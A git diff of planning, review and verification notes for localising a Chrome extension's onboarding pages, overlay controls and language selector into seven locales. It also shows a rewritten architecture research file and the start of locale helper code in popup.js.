locale test. +3. `node scripts/verify-extension-i18n.mjs` passed. `node tests/extension-ui-locale.test.js` passed 110 checks. + +Also passed: voice-input settings UI, providers panel UI, model discovery UI (150), consent audit settings UI (61), change-report settings UI (10), control-panel scroll containment, google-sheets wiring, remote-control rebrand (24), and MCP session settings UI (50). + +`tests/trigger-cap-settings-ui.test.js` still fails two checks (`fsbTriggerCapDisplay` and min/max/step on the input). Those ids and attributes are absent in HEAD as well; this phase did not remove any element id. + +No human verification items. The control panel was not opened in a browser in this run. Catalog resolution and DOM hooks are covered by the checks above. diff --git a/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-01-PLAN.md b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-01-PLAN.md new file mode 100644 index 000000000..ac2730817 --- /dev/null +++ b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-01-PLAN.md @@ -0,0 +1,25 @@ +# Phase 69 Plan 01: Entry pages and overlay chrome + + +Show first-run pages and FSB-authored overlay controls in the active locale. + + + + + +Onboarding, unlock, and microphone pages +extension/ui/onboarding.js, extension/ui/onboarding.html, extension/ui/unlock.html, extension/ui/unlock.js, extension/ui/microphone-permission.html, extension/ui/microphone-permission.js, extension/_locales/**/messages.json + +Translate package-owned onboarding, unlock, and microphone copy through the seven catalogs. Keep provider names and install commands unchanged. + + + + +Overlay chrome +extension/content/visual-feedback.js, extension/background.js, extension/ws/ws-client.js + +Inject the locale module before the overlay script. Translate Stop, Done, replay speed, and the other FSB-authored controls. Leave the task title and model summary as delivered. + + + + diff --git a/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-01-SUMMARY.md b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-01-SUMMARY.md new file mode 100644 index 000000000..74b20f8da --- /dev/null +++ b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-01-SUMMARY.md @@ -0,0 +1,54 @@ +--- +phase: 69-onboarding-entry-pages-and-overlay-chrome +plan: "01" +subsystem: extension-i18n +tags: [i18n, onboarding, overlay] + +requires: [68-01] +provides: + - Localized onboarding, unlock, and microphone pages + - Localized FSB-authored overlay chrome +affects: [70-coverage-audit] + +tech-stack: + added: [] + patterns: + - ob() and ov() keep the English sentence and call text() + - boot refresh replaces only chrome that is still the English default + +key-files: + created: [] + modified: + - extension/ui/onboarding.js + - extension/content/visual-feedback.js + - extension/_locales/en/messages.json + +key-decisions: + - "Task titles and model summaries stay on the raw payload fields." + - "The locale module loads before visual-feedback.js in both injection lists." + +requirements-completed: [ENTRY-01, ENTRY-02, ENTRY-03] + +duration: 1 session +completed: 2026-10-11 +status: passed +--- + +# Phase 69 Plan 01 Summary + +**First-run pages and overlay controls resolve through the catalogs. The task title and model summary stay raw.** + +## Accomplishments + +- Simplified Chinese onboarding uses `entry_get_started` → 开始使用. +- Traditional Chinese unlock and microphone pages use 解除保險庫鎖定 and 啟用你的麥克風. +- Japanese overlay chrome uses 停止, 完了, and the replay-speed sentence. `p.title` and `p.subtitle` are still assigned directly. + +## Files Created/Modified + +- `extension/ui/onboarding.js` and `onboarding.html` +- `extension/ui/unlock.html`, `unlock.js` +- `extension/ui/microphone-permission.html`, `microphone-permission.js` +- `extension/content/visual-feedback.js` +- `extension/background.js` and `extension/ws/ws-client.js` +- `extension/_locales/*/messages.json` diff --git a/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-CONTEXT.md b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-CONTEXT.md new file mode 100644 index 000000000..dbb939f9b --- /dev/null +++ b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-CONTEXT.md @@ -0,0 +1,23 @@ +# Phase 69: Onboarding, entry pages, and overlay chrome - Context + +**Gathered:** 2026-10-11 +**Status:** Ready for planning +**Mode:** Autonomous smart discuss. Recommended answers accepted because this runtime has no interactive question tool and the milestone brief already locked these choices. + + +## Phase Boundary + +Onboarding, the unlock page, the microphone-permission page, and FSB-authored overlay chrome use the active locale. Task titles, model summaries, and the host page stay raw. + + + + +## Implementation Decisions + +- Onboarding copy goes through `ob(key, english)`, which keeps the English sentence in source and calls `text()`. +- Unlock and microphone pages use `data-i18n` plus `text()` for status that JavaScript writes later. +- `utils/ui-locale.js` is injected immediately before `content/visual-feedback.js` in both content-script lists. +- Overlay chrome uses `ov(key, english)`. Refresh after boot only replaces a node that still shows the English default, so a later task title or summary is not rewritten. +- Provider names, install commands, and model ids stay unchanged. + + diff --git a/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-REVIEW.md b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-REVIEW.md new file mode 100644 index 000000000..7a37070ff --- /dev/null +++ b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-REVIEW.md @@ -0,0 +1,10 @@ +--- +phase: 69 +status: clean +--- + +# Phase 69 Review + +Inline review. The reviewer subagent is not available in this runtime. + +No blocking defect. Overlay refresh only replaces a node that still shows the English default, so a payload title is not translated later. Microphone status still falls back to the English sentence when the catalogs are not loaded, which is what the permission-page tests assert. diff --git a/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-UI-SPEC.md b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-UI-SPEC.md new file mode 100644 index 000000000..650d7ba39 --- /dev/null +++ b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-UI-SPEC.md @@ -0,0 +1,3 @@ +# Phase 69 UI spec + +No layout, color, or control changes. Onboarding, unlock, microphone permission, and overlay chrome keep their positions. Only package-owned strings change with the locale. The task title and model summary stay as delivered. diff --git a/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-VERIFICATION.md b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-VERIFICATION.md new file mode 100644 index 000000000..aa3a4f26d --- /dev/null +++ b/.planning/phases/69-onboarding-entry-pages-and-overlay-chrome/69-VERIFICATION.md @@ -0,0 +1,18 @@ +--- +phase: 69 +status: passed +score: 4/4 +--- + +# Phase 69 Verification + +**Status:** passed + +## Must-haves + +1. With a Simplified Chinese override, `entry_get_started` is 开始使用. Onboarding screens call `ob()` and boot re-renders after the catalogs load. +2. With a Traditional Chinese override, `entry_unlock_h` is 解除保險庫鎖定 and `entry_mic_h` is 啟用你的麥克風. Both pages load `ui-locale.js` and apply after boot. +3. With a Japanese override, Stop is 停止, Done is 完了, and the replay-speed sentence includes 再生速度. `visual-feedback.js` still assigns `taskEl.textContent = p.title` and `summaryEl.textContent = p.subtitle`. +4. `node scripts/verify-extension-i18n.mjs` passed. `node tests/extension-ui-locale.test.js` passed 110 checks. Content-script completeness, onboarding first-run, onboarding LM Studio, onboarding agent-provider clicks, and speech-to-text (22) passed. + +The pages and overlay were not opened in a browser in this run. Catalog resolution and the DOM hooks are covered by the checks above. diff --git a/.planning/phases/70-coverage-audit/70-01-PLAN.md b/.planning/phases/70-coverage-audit/70-01-PLAN.md new file mode 100644 index 000000000..f0bcc6fac --- /dev/null +++ b/.planning/phases/70-coverage-audit/70-01-PLAN.md @@ -0,0 +1,3 @@ +# Plan 70-01 + +Add `scripts/verify-extension-copy.mjs`, catalog the leftover package sentences in all seven locales, and wire the call sites so a locale override can replace them. The gate fails `tests/fixtures/extension-i18n/bad-sentence/ui.js` and passes the real UI files. Product version is 0.9.93. diff --git a/.planning/phases/70-coverage-audit/70-01-SUMMARY.md b/.planning/phases/70-coverage-audit/70-01-SUMMARY.md new file mode 100644 index 000000000..7423f089d --- /dev/null +++ b/.planning/phases/70-coverage-audit/70-01-SUMMARY.md @@ -0,0 +1,13 @@ +--- +phase: 70-coverage-audit +plan: "01" +status: passed +completed: 2026-10-13 +requirements-completed: [COPY-01] +--- + +# Phase 70 Plan 01 Summary + +**Leftover package chrome is in the seven catalogs, and CI fails when a new English sentence is left outside them.** + +The coverage script ignores logs and provider names. A fixture sentence that is not cataloged fails. The same check passes on the in-scope extension files. diff --git a/.planning/phases/70-coverage-audit/70-CONTEXT.md b/.planning/phases/70-coverage-audit/70-CONTEXT.md new file mode 100644 index 000000000..f05801c14 --- /dev/null +++ b/.planning/phases/70-coverage-audit/70-CONTEXT.md @@ -0,0 +1,5 @@ +# Phase 70 Context + +The coverage gate scans the side panel, popup, options, control panel, onboarding, unlock, microphone permission, and overlay chrome. A package-owned English sentence fails the gate unless it is an English catalog message or a producer exception (logs, provider names, or the untranslated payment token `CVV / CVC`). + +Dynamic sentences use `line()` / `fsbUiLine()` / `obExact()` with the English template kept in source. Exact sentences are registered from `extension/utils/copy-exact.js` and refreshed through `markExact`. diff --git a/.planning/phases/70-coverage-audit/70-REVIEW.md b/.planning/phases/70-coverage-audit/70-REVIEW.md new file mode 100644 index 000000000..6b1629306 --- /dev/null +++ b/.planning/phases/70-coverage-audit/70-REVIEW.md @@ -0,0 +1,8 @@ +--- +status: clean +date: 2026-10-13 +--- + +# Phase 70 Review + +Reviewed inline. The gate is on `npm test`. Catalog keys were added to all seven locales in the same change. Placeholder token sets match, and German messages are not copies of the English message. Product version is 0.9.93. diff --git a/.planning/phases/70-coverage-audit/70-UI-SPEC.md b/.planning/phases/70-coverage-audit/70-UI-SPEC.md new file mode 100644 index 000000000..84afca96a --- /dev/null +++ b/.planning/phases/70-coverage-audit/70-UI-SPEC.md @@ -0,0 +1,3 @@ +# Phase 70 UI spec + +No visual redesign. Existing chrome strings are substituted from the seven catalogs. English remains the source string in the call site. diff --git a/.planning/phases/70-coverage-audit/70-VERIFICATION.md b/.planning/phases/70-coverage-audit/70-VERIFICATION.md new file mode 100644 index 000000000..3f22f3054 --- /dev/null +++ b/.planning/phases/70-coverage-audit/70-VERIFICATION.md @@ -0,0 +1,13 @@ +--- +status: passed +score: 3/3 +date: 2026-10-13 +--- + +# Phase 70 Verification + +1. `node scripts/verify-extension-copy.mjs --file tests/fixtures/extension-i18n/bad-sentence/ui.js` exits 1 and names the uncataloged sentence. The logged sentence in that fixture is not reported. +2. `node scripts/verify-extension-copy.mjs` passes on the side panel, popup, options, control panel, onboarding, unlock, microphone permission, and overlay chrome. +3. Logs, provider names, and `CVV / CVC` stay off the failure list. + +`node scripts/verify-extension-i18n.mjs` and `node tests/extension-ui-locale.test.js` passed. The extension pages were not opened in Chrome. diff --git a/.planning/phases/71-language-control/71-01-PLAN.md b/.planning/phases/71-language-control/71-01-PLAN.md new file mode 100644 index 000000000..41475e375 --- /dev/null +++ b/.planning/phases/71-language-control/71-01-PLAN.md @@ -0,0 +1,3 @@ +# Plan 71-01 + +Add `saveOverride`, a `chrome.storage.onChanged` listener, and the select on the side panel and control panel. Choosing `de` writes `fsbUiLocale`. Clearing the select removes it. Overlay chrome refreshes only FSB-owned labels. diff --git a/.planning/phases/71-language-control/71-01-SUMMARY.md b/.planning/phases/71-language-control/71-01-SUMMARY.md new file mode 100644 index 000000000..585bfbcc5 --- /dev/null +++ b/.planning/phases/71-language-control/71-01-SUMMARY.md @@ -0,0 +1,13 @@ +--- +phase: 71-language-control +plan: "01" +status: passed +completed: 2026-10-13 +requirements-completed: [LANG-01, LANG-02, LANG-03] +--- + +# Phase 71 Plan 01 Summary + +**The side panel and control panel can store a locale and apply it without restarting Chrome.** + +The seven autonyms are hardcoded. Clearing the select follows `chrome.i18n.getUILanguage()` again. The extensions-page name still follows the browser language. diff --git a/.planning/phases/71-language-control/71-CONTEXT.md b/.planning/phases/71-language-control/71-CONTEXT.md new file mode 100644 index 000000000..95721e4d9 --- /dev/null +++ b/.planning/phases/71-language-control/71-CONTEXT.md @@ -0,0 +1,5 @@ +# Phase 71 Context + +The language control lists the seven native autonyms from hardcoded labels. Those labels are not message keys. An empty value means the browser UI language. The stored key is `fsbUiLocale`. Clearing it removes the key. + +`chrome://extensions` still follows the browser language because the manifest name uses `__MSG_`. The control says so. A storage listener refreshes extension documents and overlay shadow roots. It does not translate the host page. diff --git a/.planning/phases/71-language-control/71-REVIEW.md b/.planning/phases/71-language-control/71-REVIEW.md new file mode 100644 index 000000000..db971f0f5 --- /dev/null +++ b/.planning/phases/71-language-control/71-REVIEW.md @@ -0,0 +1,8 @@ +--- +status: clean +date: 2026-10-13 +--- + +# Phase 71 Review + +Reviewed inline. Autonyms are not catalog messages. The storage listener applies extension documents only when the page protocol is `chrome-extension:`. Overlay refresh does not walk the host page. Product version is 0.9.93. diff --git a/.planning/phases/71-language-control/71-UI-SPEC.md b/.planning/phases/71-language-control/71-UI-SPEC.md new file mode 100644 index 000000000..bda925357 --- /dev/null +++ b/.planning/phases/71-language-control/71-UI-SPEC.md @@ -0,0 +1,3 @@ +# Phase 71 UI spec + +A `translate="no"` select sits in the side-panel header and the control-panel header. The first option is the translated "Browser language" label. The other seven options are English, Español, Deutsch, 日本語, 한국어, 简体中文, and 繁體中文. diff --git a/.planning/phases/71-language-control/71-VERIFICATION.md b/.planning/phases/71-language-control/71-VERIFICATION.md new file mode 100644 index 000000000..7e26de5fd --- /dev/null +++ b/.planning/phases/71-language-control/71-VERIFICATION.md @@ -0,0 +1,14 @@ +--- +status: passed +score: 4/4 +date: 2026-10-13 +--- + +# Phase 71 Verification + +1. `locale.NATIVE_LABELS` is English, Español, Deutsch, 日本語, 한국어, 简体中文, 繁體中文, in that order. +2. `saveOverride('de')` makes `current()` return `de` without a browser restart. Extension documents apply on `chrome.storage.onChanged`. Overlay refresh stays on registered shadow roots. +3. `saveOverride('')` clears the override and follows the browser tag again. +4. The control copy states that the name on `chrome://extensions` follows the browser language. Manifest `__MSG_` tokens were not changed. + +`node tests/extension-ui-locale.test.js` passed. The extension pages were not opened in Chrome. diff --git a/.planning/research/ARCHITECTURE.md b/.planning/research/ARCHITECTURE.md index 5122a6598..177d1d4fa 100644 --- a/.planning/research/ARCHITECTURE.md +++ b/.planning/research/ARCHITECTURE.md @@ -1,341 +1,94 @@ -# Architecture Research: v0.9.91 MCP Clients as Providers +# Architecture Research -**Domain:** Chrome MV3 extension + local MCP server ecosystem — installed agent CLIs as first-class side-panel providers -**Milestone:** v0.9.91 — SUBSEQUENT milestone; maps four features onto the existing FSB architecture (extension SW + ws://7225 hub/relay bridge + fsb-mcp-server stdio/serve). Existing architecture is mapped, not redesigned. -**Researched:** 2026-07-10 -**Confidence:** HIGH (every integration point verified against source at file:line; SDK `getClientVersion` verified via Context7; spawned-CLI flag surface is MEDIUM-LOW — see Open Questions) +**Domain:** How extension i18n attaches to the existing MV3 classic-script tree +**Researched:** 2026-10-11 +**Confidence:** HIGH -> Canonical-path note: per this directory's convention (see the header of `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`), this document replaces the prior milestone's content at the canonical `ARCHITECTURE.md` path. The superseded v1.2.0 research is preserved at `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`. +## Existing architecture -This is a brownfield integration map answering: (a) exact seams per feature, (b) new components, (c) data flows, (d) build order, (e) which process owns spawning, (f) delegation coexistence with the extension's own agent loop. +The extension is a Manifest V3 service worker (`extension/background.js`) that loads helpers with `importScripts` in a fixed order. Extension pages (`sidepanel.html`, `popup.html`, `control_panel.html`, `onboarding.html`, `unlock.html`, `microphone-permission.html`) are classic scripts, not modules. Content-script overlay chrome lives in `extension/content/visual-feedback.js` and writes its own DOM. ---- +The showcase locale system is a separate build. Angular compiles one prerendered site per locale. Express redirects `GET /` from the `fsb-locale` cookie and `Accept-Language`. None of that runs inside the extension. -## 1. Existing System Overview (verified) +## Recommended integration ``` -+------------------------------ Chrome (MV3) -------------------------------+ -| Side panel (ui/sidepanel.js) Control panel (ui/options.js + | -| startAutomation/stopAutomation control_panel.html "API Config") | -| runtime msgs :1506/:1558 modelProvider select :146/:157 | -| | | | -| v v | -| background.js service worker -- fsbHandleRuntimeMessage :7610 | -| handleStartAutomation :8912 --> agent-loop.js runAgentLoop :1180 | -| handleStopAutomation :9559 (BYOK via universal-provider.js) | -| fsbAgentRegistryInstance (utils/agent-registry.js, global export :1468) | -| ^ | -| | dispatchMcpMessageRoute / dispatchMcpToolRoute | -| ws/mcp-bridge-client.js <---- ws://localhost:7225 ----+ | -| (_connectionId minted at onopen :127; | | -| routes agent:register et al :391-415) | | -+--------------------------------------------------------+------------------+ - | - +--------------------- Node processes ------------+----------------+ - | WebSocketBridge (mcp/src/bridge.ts) | - | hub (port 7225 owner) <-- relay:hello -- relay clients | - | hub-exit promotion with jitter :756-783 | - | | - | fsb-mcp-server stdio (per MCP client; index.ts :243) | - | fsb-mcp-server serve (HTTP daemon; index.ts :266, http.ts) | - | each createRuntime(): McpServer + AgentScope (runtime.ts :31) | - | AgentScope.ensure -> agent:register payload {} (:59-62) | - +------------------------------------------------------------------+ - ^ - | MCP stdio / Streamable HTTP - External MCP clients (Claude Code, Cursor, Codex, ...) - installed via install.ts / platforms.ts PLATFORMS (:77) +extension/_locales/en/messages.json English source +extension/_locales/{es,de,ja,ko,zh_CN,zh_TW}/messages.json +extension/utils/ui-locale.js classic script, globalThis.fsbUiLocale + |-- resolveLocale(tag) public code + |-- t(key, substitutions) override catalog, else chrome.i18n, else English + |-- apply(root) [data-i18n] and [data-i18n-attr] +chrome.storage.local key: fsbUiLocale public code, or absent for browser default ``` -### Component Responsibilities (existing components this milestone touches) +`ui-locale.js` is the only place that maps `zh-CN` ↔ `zh_CN` and `zh-TW` ↔ `zh_TW`, and the only place that applies the alias rules from `accept-language.js`. -| Component | Responsibility | Evidence | -|-----------|----------------|----------| -| `extension/ui/onboarding.js` | Install-command copy UX; already knows the clicked client id | `INSTALL_CLIENTS` :35-45; fan-item click -> `copyCommand(client.cmd, client.id)` :522-525; `copyCommand()` :784-794 keeps `state.copied` in memory only (:67, :787) — **nothing is persisted today** | -| `extension/ui/control_panel.html` | "API Configuration" section to rename | `
` :144, `

API Configuration

` :146, `#modelProvider` select with 7 API providers :157-165, per-provider key groups (e.g. `#xaiApiKeyGroup` :196) | -| `extension/ui/options.js` | Provider select load/save + key-field visibility | default `modelProvider: 'xai'` :5; change listener :613-624; `updateApiKeyVisibility(provider)` :1301-1309; settings object built :1632; persisted flat to `chrome.storage.local` :1677 | -| `extension/ui/sidepanel.js` | Task entry; sends `startAutomation` with legacy agent identity | `ensureLegacySidepanelAgent()` :1503; `chrome.runtime.sendMessage({action:'startAutomation', task, tabId, agentId, ownershipToken})` :1506-1513; `stopAutomation()` :1545-1560 | -| `extension/background.js` | Session orchestration, kill switch, registry host | `fsbHandleRuntimeMessage` :7610; `handleStartAutomation` :8912; `startAutomationLoop` :11853; `handleStopAutomation` :9559 (storage-restore fallback; `fsbBroadcastAutomationLifecycle` on stop :9612) | -| `extension/utils/agent-registry.js` | Mints `agent_`, tab ownership, connection grace | `registerAgent()` :305 (AgentRecord `{agentId, createdAt, tabIds, ...}` :263, :333); `stampConnectionId()` :634 (the pattern to clone for clientInfo); staged releases keyed by connectionId :286; exported `global.FsbAgentRegistry` :1468 | -| `extension/ws/mcp-bridge-client.js` | Extension side of ws://7225; per-connect `connectionId`; routes server-to-extension requests | `_ws.onopen` mints `crypto.randomUUID()` :112-144 (:127); onclose stages release via `stageReleaseByConnectionId` :185-186; keepalive `mcp:ping` send :329-330, `mcp:pong` ignore :373; `_handleMessage` switch :364/:391 routes `agent:register`/`agent:release`/`agent:status` :395-397 | -| `extension/ws/mcp-tool-dispatcher.js` | Route handlers incl. agent identity | `handleAgentRegisterRoute` :1935-1994 — mints via registry, stamps `connectionId` :1965-1970, returns `{success, agentId, agentIdShort, ownershipTokens:{}, connectionId}` :1993; cap rejection `AGENT_CAP_REACHED` :1947-1954. **`clientInfo` appears nowhere in this payload today** | -| `extension/ai/engine-config.js` | Named execution modes | `EXECUTION_MODES` :63-108 — exactly four: `autopilot`, `mcp-manual`, `mcp-agent`, `dashboard-remote`; `loadSessionConfig(modeName)` :126 | -| `mcp/src/bridge.ts` | Hub/relay WS topology on 7225 | hub start :264-295; browser-origin gate :297-309 (`allowedBrowserOrigins ['chrome-extension://']` :90); relay handshake `relay:hello` :328-333, `relay:welcome` :453-462, `relay:state` broadcast :502-509; `_handleExtensionMessage` :515-572 (understands ONLY `mcp:ping`, `mcp:progress`, and id-matched responses — **extension-initiated requests have no protocol today**); hub-exit promotion :756-783; reject-message contract `BRIDGE_DISCONNECT_MESSAGES` :34-38 | -| `mcp/src/agent-scope.ts` | Per-process (stdio) / per-session (HTTP) agent identity | `ensure()` sends `{type:'agent:register', payload:{}}` :59-62 — **the empty payload is the clientInfo seam**; defensive optional-field consumption pattern :77-101 | -| `mcp/src/agent-bridge.ts` | Threads agentId/ownershipToken/connectionId into every tool payload | `sendAgentScopedBridgeMessage` :70-93 | -| `mcp/src/runtime.ts` | Assembles server+bridge+queue+AgentScope | `createRuntime()` :31-50; `agentScope: options.agentScope ?? new AgentScope()` :34 | -| `mcp/src/http.ts` | `serve` daemon; per-HTTP-session McpServer sharing ONE bridge/queue | initialize creates `createRuntime({bridge, queue})` :123-143 — each HTTP session gets its **own AgentScope + own McpServer** (so its own clientInfo), shared bridge | -| `mcp/src/index.ts` | CLI entry: stdio/serve/status/doctor/install | stdio :243-264; `serve` -> `runHttpMode` :381-383/:266-294; `doctor` -> `runDoctor` :388-389/:334-348; help claims "install (21 platforms)" :93 | -| `mcp/src/platforms.ts` | Client registry with per-OS config paths | `PLATFORMS` :77 (23 entries: 18 file-mode, 1 cli-mode `claude-code` :95-103 with `configPath: null`, 4 instructions-mode :314/:324/:334/:344); disk detection = `resolvePlatformTarget()` :437-490 via `existsSync` on config file :455-466 then parent dir :468-479 | -| `mcp/src/install.ts` | Writes client configs / prints commands | `getClaudeCodeInstallCommand()` :31-33 (`claude mcp add --scope user fsb -- npx -y fsb-mcp-server`) | -| `mcp/src/tools/autopilot.ts` | `run_task` -> `mcp:start-automation` with onProgress heartbeats | :33, :51, :124-131 | -| `mcp/src/types.ts` | Bridge wire vocabulary (INV-01 additive-only) | `MCPMessageType` :8-48 (server-to-extension requests + `agent:*`); `MCPResponse` union `mcp:result|mcp:progress|mcp:error` :51-55 | -| `mcp/src/diagnostics.ts` | doctor layer classification | `collectBridgeDiagnostics()` :422 (offline-UX handoff target) | +### Locale choice ---- +1. If `chrome.storage.local['fsbUiLocale']` is one of the seven public codes, use it. +2. Otherwise map `chrome.i18n.getUILanguage()` through the alias rules. +3. Unknown tags fall back to `en`. -## 2. Integration Seams Per Feature (question a) +Do not name the storage key `fsb-locale`. That name is the website cookie. -### Feature 1 — Agent identity capture +### Two delivery paths -| Seam | File:line | Change kind | -|------|-----------|-------------| -| Copy-click persistence | `extension/ui/onboarding.js:508-509` (base-command binds), `:522-525` (per-client fan binds), `:784-794` (`copyCommand` body) | MODIFY: add `persistCopyClick(clientId)` inside `copyCommand`; today `state.copied` is render-only | -| `initialize` clientInfo capture | `mcp/src/server.ts:9-21` (McpServer creation), `mcp/src/runtime.ts:31-50` | MODIFY: read `server.server.getClientVersion()` -> `Implementation {name, version}` after initialize. Verified via Context7: functional in SDK v1.x (repo pins `@modelcontextprotocol/sdk ^1.29.0`, `mcp/package.json:54`); deprecated only in the SDK v2 migration. Capture point: `oninitialized` hook or lazily inside `AgentScope.ensure` | -| Thread clientInfo through register | `mcp/src/agent-scope.ts:59-62` — `payload: {}` today | MODIFY: `payload: { clientInfo: {name, version} }` (additive; INV-01 safe). `AgentScope` needs a clientInfo supplier injected via `createRuntime` (runtime.ts:31) since it currently has no server handle | -| Extension-side stamping | `extension/ws/mcp-tool-dispatcher.js:1935-1994`; precedent: `connectionId` capture :1965-1970 | MODIFY: read `payload.clientInfo`, call new `reg.stampClientInfo(agentId, clientInfo)` | -| Registry record | `extension/utils/agent-registry.js:263` (AgentRecord shape), `:305` (registerAgent), `:634` (`stampConnectionId` — clone this) | MODIFY: `clientInfo` on AgentRecord + `stampClientInfo()`; surface in status/list snapshots | -| Installed-client disk detection | `mcp/src/platforms.ts:437-490` (`detected` flag) | REUSE server-side; NEW inventory push to extension (Section 3). Pitfall: `claude-code` is cli-mode with `configPath: null` (:95-103) so `resolvePlatformTarget` always reports `detected:false` for it — Claude Code detection must check the `claude` binary / `~/.claude.json` instead | -| Control-panel surfacing | `extension/ui/options.js` + `control_panel.html` | MODIFY: read new storage keys + new `getMcpClients` runtime message answered from the registry. Do NOT revive the commented background-agents `listAgents` surface (`options.js:5767`, `sidepanel.js:3651`) — that is the sunset v0.9.45rc1 path (INV-05) | +| Path | Used for | Follows the override? | +|------|----------|------------------------| +| `__MSG_key__` in `manifest.json` | `name`, `description` | No. Chrome resolves these from the browser UI language. | +| `t()` / `apply()` | Extension pages and overlay chrome | Yes. | -### Feature 2 — Providers panel +Manifest strings still need all seven catalogs, because Chrome uses them for the store listing and `chrome://extensions`. The language control must not promise to change that name at runtime. `chrome.action.setTitle` can follow the override for the toolbar tooltip, because the manifest has no `default_title` today. -| Seam | File:line | Change kind | -|------|-----------|-------------| -| Section rename | `extension/ui/control_panel.html:144-148` (`id="api-config"`, `

API Configuration

` :146) | MODIFY copy to "Providers"; keep element ids stable where tests pin them (source-pin tripwires — run suite from first commit) | -| Provider select | `control_panel.html:157-165` (`#modelProvider`: xai/gemini/openai/anthropic/openrouter/lmstudio/custom) | MODIFY: add agent-provider entries (e.g. grouped optgroups) + recommended badge | -| Kind-aware key visibility | `extension/ui/options.js:1301-1309` (`updateApiKeyVisibility`) + change listener :613-624 | MODIFY: `agent` kind hides ALL key groups, shows connected/installed status instead | -| Settings model | `options.js:5` (default), `:1632` (save object), `:1677` (`chrome.storage.local.set`), `:1337-1376` (load) | MODIFY: introduce `providerKind` (`api`\|`agent`) + `agentProviderId` alongside `modelProvider`; `modelProvider` keeps its 7 API values so `universal-provider.js` (provider switches :196/:550) never sees an agent value | -| Recommended defaulting | new `fsbAgentProviders` storage | NEW: precedence connected > installed > copy-clicked | +`__MSG_key__` inside HTML is the wrong tool for this milestone. Chrome substitutes it once from the browser locale, before the storage override is known. -### Feature 3 — Side-panel delegation (Claude Code MVP) +### Loading -| Seam | File:line | Change kind | -|------|-----------|-------------| -| Side panel send | `sidepanel.js:1506-1513` | MODIFY: when selected provider kind is `agent`, dispatch new `startDelegatedTask` runtime message instead of the BYOK path | -| Background coordinator | `background.js:7610` (router), alongside `handleStartAutomation` :8912 | NEW `handleStartDelegatedTask`: lightweight delegated session record (UI state only), forwards over the reverse channel | -| Extension reverse-request send | `mcp-bridge-client.js` — precedent: fire-and-forget `mcp:ping` :329-330; `_handleMessage` switch :364-415 | NEW: extension-initiated request/response (`ext:*` frames) with own pending-map + id namespace; today the client can only *respond* to server requests | -| Bridge protocol | `mcp/src/bridge.ts:515-572` (`_handleExtensionMessage` drops unknown frames), `:328-333` (`relay:hello`), `:441-489` (relay registration), `types.ts:8-55` | NEW additive frames: `ext:request`/`ext:response`/`ext:event` + supervisor capability advertisement on `relay:hello`/`relay:welcome`/`relay:state` (additive fields; INV-01) | -| Spawner | none today | NEW `mcp/src/spawn-supervisor.ts` (Section 3 + Section 5) | -| Spawned CLI re-entry | entire existing pipeline: child runs `fsb-mcp-server` stdio -> relay on 7225 -> `agent:register` (`agent-scope.ts:53`) -> own agentId + tab ownership -> tool dispatch | REUSE unchanged — the core reuse win of the milestone | -| Progress to side panel | bridge `mcp:progress` origin-routing precedent :541-551; extension-to-UI precedent `fsbBroadcastAutomationLifecycle` `background.js:2456` | NEW `ext:event` frames supervisor -> hub -> extension -> runtime message -> `sidepanel.js` renderer | -| Kill switch | `sidepanel.js:1545-1560` -> `background.js:9559`; grace release `mcp-bridge-client.js:185-186` + registry :286 | MODIFY stop path for delegated sessions: `ext:request delegate.cancel` (supervisor SIGTERMs child); child's WS close then reuses existing `stageReleaseByConnectionId` cleanup | -| Offline UX | `mcp/src/diagnostics.ts:422`, `index.ts:334-348` (doctor) | NEW side-panel state: no supervisor answers -> "agent offline — run `fsb-mcp-server serve` / `doctor`" (extension has no nativeMessaging; it cannot wake any process) | -| Execution mode | `extension/ai/engine-config.js:63-108` | MODIFY: fifth `EXECUTION_MODES` entry `delegated` | +- Service worker: `importScripts('utils/ui-locale.js')` after `install-identity.js`, before any helper that shows user-facing text. Do not reorder the existing chain except to insert this one script. +- Extension pages: a ` + + @@ -2068,6 +2067,7 @@

Community

+ @@ -81,6 +82,8 @@

FSB

+ + diff --git a/extension/ui/popup.js b/extension/ui/popup.js index 98be3df8e..893720d82 100644 --- a/extension/ui/popup.js +++ b/extension/ui/popup.js @@ -72,6 +72,11 @@ const chatMessages = document.getElementById('chatMessages'); const statusDot = document.querySelector('.status-dot'); const statusText = document.querySelector('.status-text'); +function uiLine(key, english, subs) { + if (globalThis.fsbUiLocale && typeof fsbUiLocale.text === 'function') return fsbUiLocale.text(key, english, subs); + return english; +} + let _headerBaseStatusLabel = 'Ready'; let _headerBaseStatusTone = ''; let _headerOwnerLabel = null; @@ -88,7 +93,8 @@ function _renderHeaderStatus() { statusDot.classList.add('owned'); return; } - statusText.textContent = _headerBaseStatusLabel; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusText, _headerBaseStatusLabel); + else statusText.textContent = _headerBaseStatusLabel; if (_headerBaseStatusTone === 'running') statusDot.classList.add('running'); if (_headerBaseStatusTone === 'error') statusDot.classList.add('error'); } @@ -105,6 +111,22 @@ function _setHeaderOwner(label) { _renderHeaderStatus(); } +function _ownerLockTitle(label) { + var english = 'Disabled while tab is owned by $LABEL$'; + var template = (globalThis.fsbUiLocale && fsbUiLocale.text) + ? fsbUiLocale.text('shell_owned_title', english) + : english; + return template.replace(/\$LABEL\$/g, function () { return label; }); +} + +// The owner header and the locked composer tooltip carry the owner's name as +// sent, so they are not keyed; a language change redraws both from the label. +function _refreshOwnerCopy() { + if (!_headerOwnerLabel) return; + _renderHeaderStatus(); + if 